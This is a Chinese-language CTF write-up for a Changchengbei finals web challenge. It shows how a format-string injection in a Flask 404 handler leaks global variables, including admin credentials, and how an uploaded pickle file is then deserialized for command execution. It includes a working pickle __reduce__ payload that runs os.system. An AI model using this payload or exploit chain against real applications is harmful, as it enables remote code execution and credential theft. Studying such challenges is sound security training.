SSTI(maybe)+pickle反序列化----长城杯决赛web
根据源码分析,可以看到有这样一个函数
if book_name:
try:
with open('./books/' + book_name, 'rb') as f:
book = pickle.load(f)
return book
except: return None
else: books = []
dirs = os.listdir("./books/")
for book_name in dirs:
try:
with open('./books/' + book_name, 'rb') as f:
book = pickle.load(f)
except:
continue
books.append(book)
return books
这里会/books/目录下指定的‘书’进行pickle反序列化,如果这本‘书’的内容时我们可控的,就可以打pickle反序列化漏洞
继续看这个函数的调用
@app.route('/bookDetail/<string:book_name>')
def book_detail(book_name):
book = get_books(book_name)
return render_template('tmpl/bookDetail.html', book=book)
@app.route('/bookList')
def book_list():
books = get_books()
return render_template('tmpl/bookList.html', books=books)
可以看到在这两个路由下都调用了这个函数,但是/bookList路由下调用时使用的是默认参数,所以接下来利用/bookDetail路由
我们先生成一个序列化的payload
import pickle
import os
class Email:
def __reduce__(self):
return (eval, ("__import__('os').system('cat /app/flag>./static/flag.txt')",))
# 序列化对象
ans = pickle.dumps(Email())
print(ans)
随后只需要讲我们的payload通过上传书籍的功能上传,在再/bookDetail指定我上传的书籍即可执行命令
但是在此之前需要先登录,需要满足
if username == ADMIN_USER and password == ADMIN_PASSWORD:
session['logged_in'] = 1
session['name'] = 'admin'
msg = 'Please Login First, {} '
return render_template('index.html', msg=msg.format(session.get('name')))
这里的ADMIN_USER和ADMIN_PASSWORD都是在环境变量里的
关注到有一个错误处理路由
class ErrorHandler():
def __init__(self):
self.notfound = "Oops! That page doesn't exist."
self.badreqyest = "Your Rquest We Could Not Understand"
@app.errorhandler(404)
def page_not_found(error):
template = '''{error.notfound} !!!''' + request.url + ''''''
error = ErrorHandler()
return template.format(error = error), 404
本地起个环境调试一下发现,会将我们的的请求url回显到页面上,

但是由于这里只是字符串拼接,而不是用模板引擎渲染的,且Python 内置的format()方法只能访问对象的公开属性(如error.notfound),无法执行任意代码或访问全局变量。所以打不了ssti
如果改为下面这样,使用模板引擎渲染,才能打ssti
@app.errorhandler(404)
def page_not_found(error):
error = ErrorHandler()
return render_template_string(
"{{ error.notfound }} !!! " + request.url,
error=error
)
但是,观察源码发现,渲染的时候调用了error这个对象的notfound属性,测试一下发现我们同样可以在url调用

那么既然有error这个类对象,我们也可以利用它去访问全局变量
{error.init.globals}

成功拿到全局变量
总结一下
通过ssti读全局变量,拿到admin的账号和密码,登录上去之后,使用上传书籍的功能把我们的pickle反序列化的payload传上去,最后利用/bookDetail/功能反序列化我们的payload,执行命令,拿到flag

浙公网安备 33010602011771号